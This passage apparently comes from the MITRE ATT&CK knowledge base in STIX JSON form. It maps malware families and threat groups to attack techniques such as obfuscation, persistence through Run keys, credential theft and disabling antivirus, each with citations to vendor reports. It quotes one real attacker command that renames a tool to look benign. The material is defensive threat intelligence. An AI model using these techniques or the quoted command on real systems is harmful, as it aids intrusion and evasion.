two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) obfuscates the configuration with a custom Base64 and XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.738Z", + "id": "relationship--a2c59195-f81a-4ed1-8d64-7137f961a835", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.862Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has obfuscated code used in an operation using RC4 and other methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.252Z", + "id": "relationship--1330d8a5-c8be-4579-8a91-4cfda860ea0a", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has used SchTasks for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.683Z", + "id": "relationship--38419f2f-51d2-47ed-9fd9-bba3712474cc", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--960bdedf-dcca-4a9b-aa12-358324565470", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.273Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.524Z", + "id": "relationship--a24e618b-6624-4bca-9bef-c5f4ca6cab53", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can run commands through a terminal on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.092Z", + "id": "relationship--bf3ce50b-7981-4488-8751-bea865ec7d98", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.898Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can perform port scanning of TCP and UDP ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.840Z", + "id": "relationship--9409dcff-0ddf-43f6-b7c0-937fd9216ee0", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses Base64 encoding for strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.676Z", + "id": "relationship--6f5973be-3c51-4bd1-b652-f12903caa3e2", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to inject a PE binary into a remote process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.891Z", + "id": "relationship--b37c1e66-774b-45ff-9c2a-b24ea9784963", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.936Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Denis](https://attack.mitre.org/software/S0354) uses port 53 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.529Z", + "id": "relationship--c19e5c83-39fb-433b-a563-9f2390a9d51a", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[APT29](https://attack.mitre.org/groups/G0016) uses TCP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:19:17.622Z", + "id": "relationship--7ef9be47-db80-47bd-bff1-a7f4c1a22562", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) uses the command-line interface to execute arbitrary commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c9a7b725-bdab-4955-a963-b747a406102b", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + }, + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS instead if the DES decoding fails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can steal credentials in files belonging to common software such as Skype, Telegram, and Steam.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.919Z", + "id": "relationship--3e418cf0-fbe4-4de1-84bf-e137c5c0a72a", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.281Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) performs UAC bypass.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--659462ab-e1ed-4370-9810-aa3efcb060bf", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.407Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[WEBC2](https://attack.mitre.org/software/S0109) can open an interactive command shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:21:42.369Z", + "id": "relationship--b3e4c3b6-0036-4968-b245-a4c36d3cd417", + "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "modified": "2019-01-30T15:21:42.369Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) stores output from command execution in a .dat file in the %TEMP% directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to gather the username from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.244Z", + "id": "relationship--ec037573-058a-43d5-a76e-bd76e99953dd", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can capture a screenshot from a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ed522c9c-038b-43c0-af66-e81b954104f2", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3680408d-e56e-4d68-a74d-2678093ed53f", + "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "revoked-by" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) encodes many of its artifacts and is encrypted (AES-128) when downloaded. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.479Z", + "id": "relationship--ff950ea2-2982-4bfd-8361-7755e83778fd", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.594Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) uses [dsquery](https://attack.mitre.org/software/S0105) and other Active Directory utilities to enumerate hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ee46b157-d368-42e4-98f6-b76f6e65c9bd", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.878Z", + "id": "relationship--ea11624f-1025-46a9-820b-0b87866f534d", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.707Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a6962782-1942-42f5-a627-f205376e2ec2", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command to rename one of their tools to a benign file name: ren \"%temp%\\upload\" audiodg.exe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.576Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has delivered malicious links and macro-enabled documents that required targets to click the \"enable content\" button to execute the payload on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--557d3feb-0699-429e-bc83-ff114cf138ef", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has disabled anti-virus and anti-spyware tools in some instances on the victim\u2019s machines. The actors have also disabled proxy settings to allow direct communication from victims to the Internet.[", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.190Z", + "id": "relationship--7c5c4ef2-2e0b-4c83-ae98-8f0f40cb6d3c", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to delete files from the file system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Del. Retrieved April 22, 2016.", + "source_name": "TechNet Del", + "url": "https://technet.microsoft.com/en-us/library/cc771049.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses an encryption method similar to RC4 as well as AES to encrypt data before exfiltration.", + 